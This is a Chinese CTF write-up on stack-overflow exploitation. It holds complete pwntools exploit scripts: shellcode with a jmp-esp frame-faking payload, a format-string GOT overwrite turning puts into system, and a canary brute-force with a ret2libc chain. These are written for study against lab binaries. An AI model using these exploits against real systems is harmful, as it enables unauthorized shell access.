栈溢出学习笔记

CTF相关 2017-12-13

本文作者:ABC

题目链接如下:

https://pan.baidu.com/s/1mhVvanY 密码: bwsn

一是做个总结,二是做个备份。说来惭愧,思路都是 7o8v 师傅给的。特别感谢 7o8v 师傅的帮助。

题外:复现蒸米师傅 《一步一步学 rop》 复现失败,猜测是栈的问题,我是调用 start 恢复栈的做法。

这是我看到更为详尽的分析

http://www.purpleroc.com/md/2016-02-25@Thinking-About-Level2.html

0x01 pwn1

这题是 7o8v 师傅丢给我的。特别的就是这题是静态链接。所以,got 覆写就 gg 了。因为有源码就直接 checksec 一下,堆栈可执行。

3.png

我就想 retjmp esp 这条指令上,然后在 ret 之后放置 shellcode。结果,不够长,gg

7o8v 师傅告诉我的思路 ( frame faking ),retjmp esp 指令上,这样就跳到栈上,再在栈上布置合适的 sub esp,再 jmp esp

我失败的思路是在寄存器上找合适或相近的数据,再修改一下寄存器,用 jmp 寄存器。然后没有合适的 gadget

后面我就想通过 retprintf 泄露出栈地址,再 retmian。这样就可以计算出栈地址。

因为输入长度限制,跪了,exp 如下:

###!/usr/bin/python
### -*- coding: utf-8 -*-
from pwn import *

###--------------------Setting------------------------
EXCV = './fram_faking'
context(log_level='debug')
context.clear(arch='i386')
e = ELF(EXCV)
io = process(EXCV)

###!c
### execve ("/bin/sh")
shellcode = "\x31\xc9"### xor ecx, ecx
shellcode += "\xf7\xe1"### mul ecx
shellcode += "\x51"### push ecx
shellcode += "\x68\x2f\x2f\x73\x68"### push 0x68732f2f
shellcode += "\x68\x2f\x62\x69\x6e"### push 0x6e69622f
shellcode += "\x89\xe3"### mov ebx, esp
shellcode += "\xb0\x0b"### mov al, 11
shellcode += "\xcd\x80"### int 0x80
jmp_addr = 0x080ac8ac

###gdb.attach(io)
io.recvuntil('me : ')
payload = shellcode
payload += 'A' * (44- len(shellcode))
payload += p32(jmp_addr)
payload +='\x83\xec0'### sub esp, 0x30
payload += '\xff\xe4'### jmp esp

io.sendline(payload)
io.interactive()

0x02 pwn2

这题还是 7o8v 师傅丢给我的。首先用 ida 打开,发现有两个洞

1.png

2.png

惯例 checksec 一下,发现只开了 NX,其实在 function 函数手动设置了 canary

6.png

格式化字符串来做

栈上保留了 read+35 的地址,我们只要 %p 就可以得到 read 函数的地址,进而算出 system 的地址。

7.png

这道题目的格式化字符串不是放在栈上而是放在 .bss 段中。

大佬告诉我要用一个跳板,栈上有指针什么是指向栈上的,我第一想到的就是 ebp ,反正不是打远程机。

其实两个两个字节写入比较好。好吧,是因为懒。然后我就修改 mainebp 使其指向 puts 函数的 got 表。使用 %n 修改 got 表使其指向 system 函数。这样下次跳用 puts("/bin/sh") 就变成了 system("/bin/sh")

exp 如下:

###!/usr/bin/python
### -*- coding: utf-8 -*-
from pwn import *
import sys
import requests

###--------------------Setting------------------------
EXCV = './pwn1_std'
HOST = '172.16.20.2'
PORT = 2111
context(log_level='debug')
###ENV = env={"LD_PRELOAD":"./libc_64.so.6"}
e = ELF(EXCV)

LOCAL = 1
REMOTE = 0
if LOCAL:
    io = process(EXCV)
    ###io = gdb.debug([EXCV])
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
if REMOTE:
    io = remote(HOST,PORT)
    libc = ELF('libc-2.23.so')

###---------------------Data-------------------------
puts_got_addr = 0x0804b028
sys_off = libc.symbols['system']
read_off = libc.symbols['read']
sys_read_off = sys_off - read_off

###---------------------Code-------------------------
###  get system_addr
io.recvuntil('>> ')
io.sendline('1')
io.recvuntil('>> ')
io.sendline('1')
payload = '%p' ###get_read_addr
io.sendline(payload)
io.recvuntil('is :')
read_addr = eval(io.recv(10)) - 35
system_addr = sys_read_off + read_addr
print hex(system_addr)
system_addr_low = system_addr % 0x10000
system_addr_high = system_addr /0x10000 % 0x100
###  modify ebp   to puts_got
io.recvuntil('>> ')
io.sendline('1')
payload = '%'+str(puts_got_addr)+'c'
payload += '%14$n'
io.sendline(payload)
### modify puts_got to system_addr_low
io.recvuntil('>> ')
io.sendline('1')
payload = '%'+str(system_addr_low)+'c'
payload += '%42$hn'
io.sendline(payload)
### modify puts_got to system_addr_low
io.recvuntil('>> ')
io.sendline('1')
payload = '%'+str(0x2A)+'c'
payload += '%14$hhn'
io.sendline(payload)
### modify puts_got to system_addr_high
io.recvuntil('>> ')
io.sendline('1')
payload = '%'+str(system_addr_high)+'c'
payload += '%42$hhn'
io.sendline(payload)
###  put('/bin/sh\0') -> system('/bin/sh\0')
io.recvuntil('>> ')
io.sendline('1')
io.sendline('/bin/sh\0')
io.sendline('2')

io.interactive()

栈溢出

这种做法是7o8v师傅告诉我的,真的是刷新了我对栈溢出的看法。首先爆破出canary的值。然后使用'x00'使login Success。然后进入leavemsg输入一个'a',而这个'a'刚好覆盖了上面payload 开头的'x00',实现了任意长度的strcpy。覆盖了function的返回地址。最后sendline('0')引爆这个炸弹。exp如下:

###!/usr/bin/python
from pwn import *
import sys
import requests

###--------------------Setting------------------------
EXCV = './pwn1_std'
HOST = '172.16.20.2'
PORT = 2111
context(log_level='debug')
###ENV = env={"LD_PRELOAD":"./libc_64.so.6"}
e = ELF(EXCV)

LOCAL = 1
REMOTE = 0
if LOCAL:
    io = process(EXCV)
    ###io = gdb.debug([EXCV])
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
if REMOTE:
    io = remote(HOST,PORT)
    libc = ELF('libc-2.23.so')
    
###--------------------Function-----------------------
def login(password):
    io.recvuntil('>> ')
    io.sendline('1')
    io.recvuntil('Your password :\n')
    io.send(password)

def admin():
    io.recvuntil('>> ')
    io.sendline('2')

def crack():
    random = ""
    for i in xrange(12):
        for x in xrange(1,256):
            if(x==10):
                x+=1
            password = random + chr(x)
            login(password+'\x00')
    ###        raw_input()
            if("Failed" not in io.recvline()):
                print "success!"
                random += chr(x)
                io.sendline('1')
                break
    return random

###---------------------Data-------------------------
guest_begin = 0x8049014
write_plt = e.plt['write']
read_plt = e.plt['read']
puts_plt = e.plt['puts']
read_got = e.got['read']
read_off = libc.symbols['read']
bss = 0x804b100
main  =0x8049296
sys_off = libc.symbols['system']
sh_off = next(libc.search("/bin/sh"))

###---------------------Code-------------------------
admin()
random = crack()

###gdb.attach(io)
io.recvuntil('>> ')
io.sendline('1')
io.recvuntil('Your password :\n')
payload = '\x00'+'a'*0x47+ random[8:12] +p32(bss+1)*3
payload += p32(puts_plt)+p32(main)+p32(read_got)

io.sendline(payload)
io.recvuntil('>> ')
io.sendline('2')
io.recvuntil('Your message :\n')
io.send('a') ###  replace above payload's '\x00'
io.recvuntil('>> ')
io.sendline('0')

io.recvuntil('Administrator !\n')
libc_read = u32(io.recv(4))
libc_base = libc_read - read_off
system = libc_base +sys_off
sh = libc_base + sh_off
libc_base

admin()
random = crack()

io.recvuntil('>> ')
io.sendline('1')
io.recvuntil('Your password :\n')
payload = '\x00'+'a'*0x47+ random[8:12] +p32(bss+1)*3
payload += p32(system) + p32(sh)*2

log.success('read addr : '+hex(libc_read))
log.success('libc base addr : '+hex(libc_base))
log.success('system : '+hex(system))
log.success('/bin/sh : '+hex(sh))

io.sendline(payload)
io.recvuntil('>> ')
io.sendline('2')
io.recvuntil('Your message :\n')
io.send('a')
io.recvuntil('>> ')
io.sendline('0')

io.interactive()

0x03 总结

  • 对知识点的理解不够深刻,花了一个月的时间尝试溢出 scanf("%d"),尝试使用格式化字符串漏洞修改 eip [笑哭]
  • 从 7o8v 师傅的 exp 中了解到栈溢出并不是只在输入发生的
  • 台上一分钟,台下十年功

0x04 参考资料


本文由 myh0st 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

楼主残忍的关闭了评论